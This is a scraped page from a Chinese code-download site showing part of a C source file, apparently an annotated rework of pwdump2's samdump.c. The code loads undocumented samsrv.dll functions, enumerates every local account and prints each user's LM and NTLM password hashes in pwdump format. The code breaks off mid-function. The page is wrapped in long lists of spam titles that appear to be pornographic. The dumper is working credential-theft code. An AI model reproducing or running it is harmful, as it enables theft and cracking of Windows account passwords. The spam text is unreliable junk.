亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pwdump2samdump.c淺析與改進.txt

?? samdump.c調用LsaQueryInformationPolicy()獲取主機SID
?? TXT
?? 第 1 頁 / 共 3 頁
字號:
    {
        PrintZwErrorCUI
        (
            "SamrEnumerateDomainsInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    if ( 2 != DomainCount )
    {
        goto getlmhash_exit;
    }
    status              = SamrLookupDomainInSamServer
    (
        SamHandle,                                              // 源自sam connect操作
        &ServerDomainEnumeration->ServerDomain[0].domainname,   // PUNICODE_STRING
        &DomainSid                                              // [out]參數,用LocalFree()釋放
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrLookupDomainInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrOpenDomain
    (
        SamHandle,      // 源自sam connect操作
        0x10000000,     // Access Mask
                        // SampGetCurrentAdminPassword()中用的是這個值
        DomainSid,      // 這個域不是通常所說NT域
        &DomainHandle   // [out]參數,是指向HANDLE的指針,不是HANDLE
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrOpenDomain() failed",
            status
        );
        goto getlmhash_exit;
    }
    /*
     * TMD,前面SamrEnumerateDomainsInSamServer()用過一次,真是個相當隱蔽
     * 的錯誤。為了枚舉所有帳號,調用SamrEnumerateUsersInDomain()之前一定
     * 要將該[in/out]參數清零。
     */
    EnumerationHandle   = NULL;
    do
    {
        status                  = SamrEnumerateUsersInDomain
        (
            DomainHandle,               // Context Handle
            &EnumerationHandle,         // [in/out]參數,Resume Handle
                                        // 是指向HANDLE的指針,不是HANDLE
            0,                          // filter,Access Mask
                                        // 如欲枚舉所有帳號,指定0
            &DomainUserEnumeration,     // [out]參數
            0x0000FFFF,                 // 意義未明,似乎對應Pref MaxSize
            &UserCount                  // [out]參數,枚舉出的帳號數目
        );
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrEnumerateUsersInDomain() failed",
                status
            );
            goto getlmhash_exit;
        }
        /*
         * from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
         *
         * Returned by enumeration APIs to indicate more information is
         * available to successive calls.
         *
         * #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
         */
        if ( STATUS_MORE_ENTRIES != status )
        {
            nomoredata = TRUE;
        }
        Count                   = 0;
        while ( Count < UserCount )
        {
            status              = SamrOpenUser
            (
                DomainHandle,                                       // 源自sam open domain操作
                0x10000000,                                         // Access Mask
                DomainUserEnumeration->DomainUser[Count].userrid,   // RID
                &UserHandle                                         // [out]參數,是指向HANDLE的指針,不是HANDLE
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrOpenUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            status              = SamrQueryInformationUser
            (
                UserHandle,                     // 源自sam open user操作
                SamUserOWFPasswordInformation,  // InformationClass,0x12,其實是
                                                // SAM_USER_INFORMATION_CLASS枚舉型,
                                                // 為了減少編譯難度,換成DWORD型
                &UserOWFPasswordInfo            // 隨InformationClass不同,對應不同的結構
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrQueryInformationUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":%u:",
                DomainUserEnumeration->DomainUser[Count].userrid
            );
            PrintHash( UserOWFPasswordInfo->LMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":"
            );
            PrintHash( UserOWFPasswordInfo->NTLMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":::\n"
            );
            SamIFree_SAMPR_USER_INFO_BUFFER
            (
                UserOWFPasswordInfo,
                SamUserOWFPasswordInformation   // InformationClass,0x12
            );
            UserOWFPasswordInfo = NULL;
            status              = SamrCloseHandle
            (
                &UserHandle
            );
            UserHandle          = NULL;
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrCloseHandle() failed for UserHandle",
                    status
                );
                goto getlmhash_exit;
            }
            Count++;
        }  /* end of while */
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration   = NULL;
    }
    while ( FALSE == nomoredata );

getlmhash_exit:

    if ( NULL != UserOWFPasswordInfo )
    {
        SamIFree_SAMPR_USER_INFO_BUFFER
        (
            UserOWFPasswordInfo,
            SamUserOWFPasswordInformation   // InformationClass,0x12
        );
        UserOWFPasswordInfo = NULL;
    }
    if ( NULL != UserHandle )
    {
        SamrCloseHandle
        (
            &UserHandle
        );
        UserHandle = NULL;
    }
    if ( NULL != DomainUserEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration = NULL;
    }
    if ( NULL != DomainHandle )
    {
        SamrCloseHandle
        (
            &DomainHandle
        );
        DomainHandle = NULL;
    }
    if ( NULL != DomainSid )
    {
        LocalFree( DomainSid );
        DomainSid = NULL;
    }
    if ( NULL != ServerDomainEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            ServerDomainEnumeration
        );
        ServerDomainEnumeration = NULL;
    }
    if ( NULL != SamHandle )
    {
        SamrCloseHandle
        (
            &SamHandle
        );
        SamHandle = NULL;
    }
    return;
}  /* end of getlmhash */

/*
* ntdll.dll正常引出了如下Native API,我們不想讓ntdll.lib介入,這會增加編
* 譯難度,于是換用GetProcAddress()獲取這些函數地址。
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    ntdllname[] = "ntdll";
    HMODULE ntdll       = NULL;

    /*
     * returns a handle to a mapped module without incrementing its
     * reference count
     */
    ntdll                   = GetModuleHandle( ntdllname );
    if ( NULL == ntdll )
    {
        PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
        return( ret );
    }
    RtlNtStatusToDosError   = ( RTLNTSTATUSTODOSERROR )GetProcAddress
    (
        ntdll,
        "RtlNtStatusToDosError"
    );
    if ( !RtlNtStatusToDosError )
    {
        goto LocateNtdllEntry_exit;
    }
    ret                     = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    if ( NULL != ntdll )
    {
        ntdll = NULL;
    }
    return( ret );
}  /* end of LocateNtdllEntry */

/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于沒有samsrv.lib存在,
* 被迫利用GetProcAddress()獲取這些函數地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
    BOOL    ret             = FALSE;
    char    samsrvname[]    = "samsrv";

    samsrv                              = LoadLibrary( samsrvname );
    if ( NULL == samsrv )
    {
        PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
        return( ret );
    }
    SamIConnect                         = ( SAMICONNECT                       )GetProcAddress
    (
        samsrv,
        "SamIConnect"
    );
    if ( !SamIConnect )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenDomain                      = ( SAMROPENDOMAIN                    )GetProcAddress
    (
        samsrv,
        "SamrOpenDomain"
    );
    if ( !SamrOpenDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenUser                        = ( SAMROPENUSER                      )GetProcAddress
    (
        samsrv,
        "SamrOpenUser"
    );
    if ( !SamrOpenUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrQueryInformationUser            = ( SAMRQUERYINFORMATIONUSER          )GetProcAddress
    (
        samsrv,
        "SamrQueryInformationUser"
    );
    if ( !SamrQueryInformationUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_USER_INFO_BUFFER     = ( SAMIFREE_SAMPR_USER_INFO_BUFFER   )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_USER_INFO_BUFFER"
    );
    if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrCloseHandle                     = ( SAMRCLOSEHANDLE                   )GetProcAddress
    (
        samsrv,
        "SamrCloseHandle"
    );
    if ( !SamrCloseHandle )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateUsersInDomain          = ( SAMRENUMERATEUSERSINDOMAIN        )GetProcAddress
    (
        samsrv,
        "SamrEnumerateUsersInDomain"
    );
    if ( !SamrEnumerateUsersInDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_ENUMERATION_BUFFER   = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_ENUMERATION_BUFFER"
    );
    if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
    {

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
美女久久久精品| 色美美综合视频| 在线一区二区三区四区| 欧美另类高清zo欧美| 亚洲欧美影音先锋| 激情小说亚洲一区| 欧美人牲a欧美精品| 国产精品盗摄一区二区三区| 久久99久久99小草精品免视看| 9久草视频在线视频精品| 日韩一区二区三区视频在线| 国产精品视频在线看| 老色鬼精品视频在线观看播放| 欧洲国内综合视频| 国产精品国模大尺度视频| 精品一区二区国语对白| 91精品国产综合久久久蜜臀粉嫩| 亚洲日本一区二区三区| www.欧美精品一二区| 国产夜色精品一区二区av| 蜜桃视频在线观看一区| 91精品国产欧美日韩| 亚洲国产日韩a在线播放性色| 一本大道久久a久久精品综合 | 久久99久久99精品免视看婷婷| 欧美视频三区在线播放| 亚洲尤物在线视频观看| 色呦呦日韩精品| 一区二区在线观看不卡| 一本一本大道香蕉久在线精品| 亚洲人成人一区二区在线观看 | 久久国产人妖系列| 日韩精品在线看片z| 麻豆一区二区三| www国产成人免费观看视频 深夜成人网| 麻豆一区二区99久久久久| 日韩一级片在线观看| 激情综合五月婷婷| 国产欧美日韩激情| av激情综合网| 亚洲啪啪综合av一区二区三区| 91论坛在线播放| 亚洲午夜电影网| 欧美亚洲国产一卡| 日韩在线观看一区二区| 日韩美女在线视频| 国产成人精品三级| 亚洲色图欧洲色图婷婷| 欧美三片在线视频观看| 蜜桃视频在线观看一区二区| 久久精品这里都是精品| 97精品电影院| 日韩精品免费视频人成| 亚洲精品一区二区精华| 国产福利一区二区三区视频| 亚洲欧美一区二区三区极速播放| 欧美日韩一区二区三区高清 | 亚洲国产精品人人做人人爽| 欧洲激情一区二区| 国产一区二区三区综合 | 国产婷婷色一区二区三区在线| 99久久国产综合精品色伊| 婷婷综合五月天| 久久久亚洲精品一区二区三区| 色综合久久久久综合体| 蜜桃久久av一区| 国产精品的网站| 精品日韩欧美一区二区| 色综合中文字幕| 久久99国产精品久久| 亚洲视频资源在线| 日韩三级av在线播放| 91蝌蚪国产九色| 久久99国产精品成人| 亚洲综合网站在线观看| 国产亚洲一区字幕| 欧美精品日日鲁夜夜添| 成人综合在线观看| 免费人成黄页网站在线一区二区| 国产精品麻豆久久久| 欧美tk—视频vk| 欧美亚日韩国产aⅴ精品中极品| 国产乱人伦偷精品视频不卡| 亚洲国产精品一区二区久久恐怖片| 久久久亚洲高清| 91麻豆精品国产自产在线| 91在线精品秘密一区二区| 久久99国产精品麻豆| 亚洲一区二区不卡免费| 中文字幕欧美一区| 2024国产精品视频| 欧美一级搡bbbb搡bbbb| 日本精品裸体写真集在线观看| 国产成人无遮挡在线视频| 秋霞国产午夜精品免费视频| 一区二区三区 在线观看视频| 国产午夜精品久久久久久久| 欧美成人aa大片| 6080yy午夜一二三区久久| 色94色欧美sute亚洲线路二| 成人国产精品免费网站| 国产福利一区在线观看| 国产美女精品人人做人人爽| 久久精品99久久久| 麻豆久久久久久久| 久久精品国产精品亚洲精品| 三级不卡在线观看| 日本中文字幕一区二区视频| 亚洲小说春色综合另类电影| 亚洲色图一区二区| 自拍偷自拍亚洲精品播放| 亚洲国产成人在线| 中文字幕免费不卡| 国产精品国产三级国产普通话99| 中文在线一区二区| 国产精品久久久久久久第一福利| 国产偷国产偷精品高清尤物| 国产精品少妇自拍| 中文字幕在线一区免费| 中文字幕一区日韩精品欧美| 中文字幕五月欧美| 亚洲靠逼com| 亚洲国产中文字幕在线视频综合| 午夜av电影一区| 久久草av在线| 国产成人一区在线| www.欧美日韩| 欧美日免费三级在线| 69堂国产成人免费视频| 欧美成人a在线| 国产精品理论片| 亚洲一区在线视频观看| 免费在线看一区| 国产v综合v亚洲欧| 91丨国产丨九色丨pron| 欧美精品精品一区| 久久美女高清视频| 亚洲婷婷综合色高清在线| 亚洲国产精品嫩草影院| 国产一区二区精品在线观看| 99精品欧美一区| 51精品视频一区二区三区| 精品99一区二区| 亚洲色欲色欲www| 蜜桃精品在线观看| 不卡一卡二卡三乱码免费网站| 精品婷婷伊人一区三区三| 久久综合色播五月| 尤物在线观看一区| 国产综合成人久久大片91| av激情亚洲男人天堂| 5858s免费视频成人| 日本一区二区综合亚洲| 亚洲夂夂婷婷色拍ww47| 国产一区久久久| 在线中文字幕一区| 久久久99久久| 天天操天天干天天综合网| 国产成人午夜精品影院观看视频| 在线观看中文字幕不卡| 久久你懂得1024| 亚洲成人一区二区在线观看| 国产不卡免费视频| 欧美群妇大交群的观看方式 | 精品99999| 亚洲高清免费在线| 成人午夜av在线| 欧美成人a∨高清免费观看| 伊人一区二区三区| 国产成人在线免费| 日韩一级片网址| 亚洲bt欧美bt精品| 在线一区二区三区| 国产精品视频免费看| 老司机午夜精品| 欧美另类变人与禽xxxxx| 亚洲精品中文字幕乱码三区| 国产乱码精品一区二区三区五月婷| 欧美精三区欧美精三区| 一区二区三区在线视频观看58 | 国产精品天干天干在线综合| 久久激情综合网| 欧美日韩一区小说| 一区二区中文视频| 国产精品一卡二| 欧美大胆一级视频| 日本不卡高清视频| 欧美日韩成人综合天天影院| 亚洲综合色区另类av| 色综合天天做天天爱| 中文字幕字幕中文在线中不卡视频| 精品一区二区三区免费| 欧美大胆人体bbbb| 精品一区二区国语对白| 欧美成人a∨高清免费观看| 老汉av免费一区二区三区| 日韩免费视频线观看| 久久精品国产精品青草| 久久综合国产精品| 国产精品正在播放|